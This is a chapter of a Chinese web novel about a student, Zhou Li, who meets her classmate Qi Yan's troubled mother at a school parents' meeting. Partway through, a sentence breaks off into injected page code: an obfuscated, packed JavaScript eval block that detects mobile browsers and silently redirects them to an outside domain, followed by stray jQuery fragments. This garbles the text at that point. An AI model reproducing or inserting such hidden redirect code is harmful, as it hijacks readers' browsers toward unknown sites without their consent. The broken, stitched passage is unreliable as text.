在这样的长期压迫的家庭环境下，齐言一定生活的非常辛苦吧。


    握笔的手指倏忽停下。自动铅笔的笔尖停留于空白纸上，念头一断片，周梨感受一道目光紧紧粘在她身上，靠自觉她确定是在附近，被窥视的感觉强烈无比。


    沿着方向抬起头，周梨对上了齐言妈妈的视线，那双空洞无神的双眼没有任何情绪地盯着周梨，盯得她心里发毛。


    背上的衣衫被冷汗浸湿。


    周梨的心脏砰砰直跳。


    她什么时候转过头来的？


    松开自动铅笔，周梨悻悻地收回动作。


    “你认识齐言。”齐言的妈妈看着周梨刚刚用铅笔圈住的名字，“你认识他吗？”


    周梨：“……？”


    什么鬼？


    前半句还在肯定地认为她认识齐言，怎么后半句又改口了？


    ……这是齐言的亲妈吗？


    “认、认识的。”周梨硬着头皮回答下去。


    “小姑娘，他在学校怎么样？我刚刚才知道他考了全校第一名，齐言很优秀，但是他内向，不喜欢跟别人说话，他在学校有朋友吗？有没有人欺负他？”齐言的妈妈说着便上手握住周梨的手臂，语气局促，倒真像是一个慈爱的母亲关心自己孩子，“你们学校的饭菜怎么样？干净卫生吗？”


    一连串的问句精准砸在周梨脑袋上，脑子发晕。周梨死也没想到居然是这个剧情走向，几秒前看到齐言的妈妈正在看她写在演草本上的名字。


    那眼神说是无神但长时间盯着人看，造成一种可怕的感受。她还以为大难临头接受意外发生，结果齐言的妈妈在向她询问齐言的事情。


    周梨：“……”


    怎么感觉怪怪的？


    这些普通问题，周梨从小到大上学普遍见过的是父母在家里问孩子，第一次见到父母通过同学口述来解决问题。这怎么看……有点齐言和他妈妈关系不太好的样子。


    “你不是认识齐言吗？我看你刚刚还在写他的名字。”憔悴的女人神色黯淡，苍老的皱纹遮住了天生的美貌。


    “的确是认识，但是不怎么熟悉，有些答案我也不清楚。”周梨被握的手臂疼，倒吸了一口凉气试着抽出来，“他在学校挺好的，没什么人欺负他……”看起来像是他欺负附中的那些小混混，毕竟印象最深刻的那次连熊哥都对齐言毕恭毕敬，不知道的还以为齐言才是他们的老大。


    “学校的饭菜很好，但中午一放学就看不到他了，有可能去外面吃饭。”周梨想了想，继续说。


    “那齐言有朋友吗？”


    “朋友……”


    周梨罕见地沉默不语，回顾自从齐言转学到这所县城一中，见到他时要么在完成作业要么在接单打工赚钱，有时候在校园里碰面路过也是独自一人，我行我素养成习惯。


    好像确实没有什么朋友。


    全班几十人都是他的同学，但真正能和齐言玩到一起的完全没有。


    根本不存在。


    不过要说走得近。


    自始至终，也只有周梨一个人。


    雪冷风凉，街空人去。


    无数人在他面前停留的片刻，加起来也抵不过与周梨的相逢相见。


    于京南，于二零二一年的隆冬。


    *


    “齐言，在学校待了这么长时间，一个朋友也没有吗？”


    “……”周梨不忍心将这个残酷的现实告诉她，“有的，他有朋友的。”


    我应该算是齐言的朋友吧？


    周梨心想，都帮他出养猫的费用了啊喂！


    一个朋友也是朋友，没有骗人。


    “那就好那就好。”女人松了一口气，“我怕他一个人吃饭、一个人值日、一个人生活太孤独了。人是群居动物，他一个人生活总归是不好的，脱离人群，表面不会说什么……”


    ——但心里还是在乎、在意的。


    后面说的那些唠叨话周梨一个字也没有听进去，她就这样呆呆地坐在凳子上，心里不知是压了一块石头还是扎根针，空落落的同时还带点抽离的痛。


    齐言没有朋友吗？


    耳边持续传来稳定的女声，周梨的眼睛注视齐言的妈妈，对方的神情倒像是在叙述自己孩子成长的十几年，娓娓道来。真没办法和在筒子楼三楼的崩溃女人联系到一起——如果周梨没有路过见到。


    趁着她情绪还算稳定，周梨试着说出自己的想法：“阿姨，我可能还是没明白，齐言他转校之前是没有朋友吗？他也是我行我素独自一人？”


    高一时齐言没有来到一中，而是在原高中上学。在原来的高中上学，齐言的生活又是怎么样的呢？


    多精多彩？还是……黯淡无光？


    这些一时成了周梨心中的沾满灰尘的答案。


    “转校之前……”齐言的妈妈停住话口，地闭上嘴，眼中尽是无助的茫然，这无穷无尽的边缘情绪在抬起眼时转移给了周梨，“转校之前，齐言转校之前……我不知道，他从来没跟我说过。”


    周梨抿了抿唇，垂眸凝视桌子上的某处坑坑洼洼的小洞。


    ……她不知道。


    是自始至终高一时没有朋友可聊解闷、独自学习的答案，还是要有固定的社交群的回答，周梨都做好了然的准备。


    但是齐言的妈妈说，


    她不知道。


    不知道？


    “抱、抱歉……我没懂。”周梨磕磕绊绊说道，过度紧绷导致她连话也说不流利，她吞了一口口水，“您的意思是说——”


    余光瞥见一个蓝白相间的纤瘦身影推开门，同时传来由于坐的距离太远而没听清楚的“报告”。


    家长会一静。


    站在讲台上激情演讲的家长十分钟前已经下台回到自家孩子的位置上，接台的老李头刚拿起扩音器便听到推门的摩擦声。


    所有人的目光凝聚在一个人。


    前方偷偷摸摸站立闭着眼睛睡觉的同学瞬间惊醒，情不自禁腰背挺直，伸着脖子前倾瞪着齐言。周梨仰起头在林林总总的人群里只能看到纯白满是皱着的蓝白校服，根本看不到脸，不过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774844|157555||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    饶是再看不到，齐言也会下来坐在他家长旁边。


    “抱歉，雪天降温，路上结冰。”


    “我来迟了。”


    周梨在茫茫人群里片刻之内找到声音来源的男生。


    是带着冰雪般冷的、闷闷的声音。


    话到嘴边顿时卡壳，剩余的文字消失在喉咙之中，化成看不见摸不着的空气气流。


    “啊，齐言啊，终于来了，家长会已经开始了。”老李头眯着眼笑呵呵，继续说道，“你家长也来了，真是有心，大雪天的家长过来一趟也不容易，好好陪着你妈妈。第一环节时让你家长起来发言分享经验，太过紧张了啊，但整体效果也不错，等会你上台发言，先不用下去，站在讲台一边等就行了。”


    老李头唠唠叨叨讲了这么一番没有意思的废话，指望齐言能说些什么捧场的话来增添增添严肃气氛。


    但全程齐言不语，只是很有耐心地听完，老李头说到后半段神色微微一凛，紧接着又恢复了平常无异丝毫看不出情绪的神情。


    没人觉察到齐言的片刻异样。


    除了周梨。


    远处的老李头不再发言，齐言才点点头，敏捷捕捉到老李头话里的关键信息，轻笑不语，随后淡淡地重复一遍，“……分享经验是么？”


    “我知道了。”


    随手关门后，齐言缓慢又稳定地走到讲台旁边，翻开手写的发言稿，一目十行的过一遍。旁边的老李头依旧滔滔不绝演讲，而讲台下学生发呆或睡觉，鲜少有几个在认真听着的，而这群家长之中，大部分都是盯着老师本人跟着老师的节奏走。


    唯独有一个例外。


    周梨偏头看着齐言的妈妈，而后者的目光牢牢粘在齐言，像是几乎要把他吞噬完毕。


    “齐言他妈怎么回事？”白蔚棠趁着没人注意轻轻拍打周梨的肩膀，周梨吓了一跳。她接着说，“你知不知道？我总感觉她的状态不是很好。”


    “你也看出来了？”周梨回答道，“从齐言一进门她就又开始……不正常，可能是在家里面长期和齐言有矛盾，亲子关系不稳定。”


    “那你还跟她说话？你不是见过她可怕的一面吗？？”白蔚棠嫌弃似的皱了皱眉，“你不怕被骂啊？”


    周梨摇摇头，诚实回答：“不怕，她骂齐言应该是为了泄愤，但骂我也太无缘无故。”


    “真想让这破家长会快点结束。”白蔚棠转移话题吐槽，“真无聊站起来都快头晕了，有没有人上去堵住老李头的嘴？明明一个小时的家长会，都能被他拖成三个小时了！”


    周梨认命般地叹了口气，“……没办法。”


    熬到老李头正式谢幕，两个人才像是被紧箍咒给松了一圈，呼吸到新鲜氧气脸色有所好缓。直到齐言慢慢走到讲台上语速很快念稿子时，周梨注意到他的妈妈露出了……十分欣慰的目光。


    下台时却被老李头叫住，齐言在教室扫视一周，像是在看什么无关紧要的人员。


    包括他的妈妈。


    齐言的目光没有在她身上有过一秒的停留。